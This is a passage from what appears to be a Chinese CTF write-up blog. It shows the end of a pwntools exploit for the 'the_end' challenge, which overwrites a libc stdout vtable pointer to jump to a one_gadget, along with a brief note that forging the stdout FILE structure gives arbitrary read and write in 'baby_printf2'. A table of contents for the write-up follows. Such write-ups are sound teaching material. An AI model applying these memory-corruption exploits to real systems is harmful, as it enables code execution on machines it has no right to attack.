log.success("tls = %s"%hex(tls))

one = libc_base + 0xf02a4
log.success("one = %s"%hex(one))
vtable = libc_base + 0x3c56f8
log.success("vtable = %s"%hex(vtable))
io_stdout = libc_base + 0x3c5620
log.success("io_stdout = %s"%hex(io_stdout))
target = libc_base + 0x3c44e0 + 0x18
log.success("target = %s"%hex(target))

to_write(target,one&0xff)
to_write(target+1,(one>>8)&0xff)
to_write(target+2,(one>>16)&0xff)
to_write(vtable+1,(target>>8)&0xff)
to_write(io_stdout+0x28,0xff)

irt()

baby_printf2

stdout地址可控,可以通过伪造__IO_STDOUT_2_1_实现任意地址写,任意地址读。

heapstorm

CATALOG
  1. 1. Web
    1. 1.1. warmup
    2. 1.2. admin
      1. 1.2.1. 方法1
      2. 1.2.2. 方法二
    3. 1.3. Kzone
      1. 1.3.1. 方法一(Ricterz):
      2. 1.3.2. 方法二
    4. 1.4. hide and seek
    5. 1.5. bottle
    6. 1.6. game
  2. 2. Pwn
    1. 2.1. the_end
      1. 2.1.1. 方法1
      2. 2.1.2. 方法二
    2. 2.2. baby_printf2
    3. 2.3. heapstorm